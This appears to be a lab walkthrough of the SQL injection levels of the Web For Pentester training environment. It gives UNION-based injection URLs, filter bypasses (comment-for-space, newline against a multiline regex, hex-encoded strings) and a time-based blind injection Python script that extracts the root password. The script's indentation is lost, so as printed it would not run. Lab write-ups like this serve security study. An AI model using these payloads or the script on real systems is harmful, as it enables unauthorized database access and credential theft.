Web_For_Pentester渗透测试环境中的Sql注入关卡部分

Example 1

从页面初始的URL就可以看出注入点在于name参数,改变name参数的值为root’,发现没有查询结果,再次改变name参数值为root’%23,发现得到正确查询结果

说明了参数name是被单引号包裹的,而且这里没有报错信息,于是直接采用联合注入即可

注出查询列数payload:http://192.168.187.141/sqli/example1.php?name=root%27%20order%20by%205%20%23

注出数据库名payload:http://192.168.187.141/sqli/example1.php?name=root%27%20union%20select%201,2,database(),4,5%23

注出数据表名payload:http://192.168.187.141/sqli/example1.php?name=root%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),4,5%23

注出数据列名payload:http://192.168.187.141/sqli/example1.php?name=root%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),4,5%23

Example 2,3

这关过滤了空格,用/**/来代替空格即可,payload跟第一关一样,空格替换一下即可

Example 4

从这关源代码可以看出,参数id经过函数mysql_real_escape_string过滤,但是仔细看sql语句,我们可以发现这里参数id并没有任何引号的包裹,所以这个过滤函数实质上并不影响我们的注入过程,payload同样参考第一关即可

Example 5

这关用到了一个正则匹配表达式

1
preg_match('/^[0-9]+/')

符合匹配的内容是开头是数字,但这里的参数id本来值本来就是数字,所以这个过滤其实没有多大影响,payload跟第四关是一样的

Example 6

这关一样用到了正则匹配

1
preg_match('/^[0-9]+$/')

符合匹配的内容是结尾是数字

注出数据库名的payload:http://192.168.187.141/sqli/example6.php?id=2%20union%20select%201,2,database(),4,5

Example 7

这关的正则匹配式是

1
preg_match('/^-?[0-9]+$/m')

符合匹配的内容是必须开头结尾都是数字,但是这里用到了一个正则模式修饰符/m,这个修饰符的作用是如果检查的字符串中包含了换行符\n,那么行首行末就会匹配到换行符的之前之后,简单而言,就是如果有换行符,那么换行符之前的字符串符合就匹配成功,换行符\n的URL编码是%0a

给出注出数据库名的payload:http://192.168.187.141/sqli/example7.php?id=2%0aunion%20select%201,2,database(),4,5

Example 8

这关涉及到order by后面的注入,排除联合注入,报错注入,所以只剩下盲注了,这里我采用的是基于时间的盲注

给出注出数据库名的具体payload:http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr(database(),1,1))=100)%20then%20sleep(1)%20else%201%20end)%23

有了payload,剩下的就是写脚本注入了,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests

#注数据库名
database = ""
flag = 0
for i in range(1,50):
#print("开始对数据库名的第"+str(i)+"位进行注入")
for j in range(48,123):
#print("[+]checking "+chr(j))
url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr(database(),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23"
r = requests.get(url)
t = r.elapsed.total_seconds()
if t>=4:
database = database + chr(j)
print("成功注出数据库名的第"+str(i)+"位: "+chr(j))
flag = 1
break
if flag == 0 and j == 122:
print("数据库名: "+database)
break
else:
flag = 0

#注数据表名
table_name = ""
flag = 0
for i in range(1,50):
for j in range(44,123):
url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23"
r = requests.get(url)
t = r.elapsed.total_seconds()
if t>=4:
table_name = table_name + chr(j)
print("成功注出数据表名的第"+str(i)+"位: "+chr(j))
flag = 1
break
if flag == 0 and j == 122:
print("数据表名: "+table_name)
break
else:
flag = 0

#注users表下的所有数据列名
column_name = ""
flag = 0
for i in range(1,50):
for j in range(44,123):
url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23"
r = requests.get(url)
t = r.elapsed.total_seconds()
if t>=4:
column_name = column_name + chr(j)
print("成功注出数据表名的第"+str(i)+"位: "+chr(j))
flag = 1
break
if flag == 0 and j == 122:
print("users表下的所有数据列名: "+column_name)
break
else:
flag = 0

#注root用户的密码
passwd = ""
flag = 0
for i in range(1,50):
for j in range(44,123):
url = "http://192.168.187.141/sqli/example8.php?order=name`,(select%20case%20when%20(ascii(substr((select passwd from users where name=0x726f6f74),"+str(i)+",1))="+str(j)+")%20then%20sleep(1)%20else%201%20end)%23"
r = requests.get(url)
t = r.elapsed.total_seconds()
if t>=4:
passwd = passwd + chr(j)
print("成功注出root用户的密码的第"+str(i)+"位: "+chr(j))
flag = 1
break
if flag == 0 and j == 122:
print("root用户的密码: "+passwd)
break
else:
flag = 0

这里要注意的是我们输入的order参数是经过mysql_real_escape_string函数过滤的,所以例如payload中某些表名users,需要转化为十六进制0x7573657273

Example 9

同样是order by后的注入,区别于上一关的是,这里没有,所以稍微修改一下payload即可

同样给出注出数据名的payload:http://192.168.187.141/sqli/example9.php?order=name,(select%20case%20when%20(ascii(substr(database(),1,1))=101)%20then%20sleep(1)%20else%201%20end)

脚本也是上一关的脚本代码稍加修改一下payload部分即可,这里就不再赘述了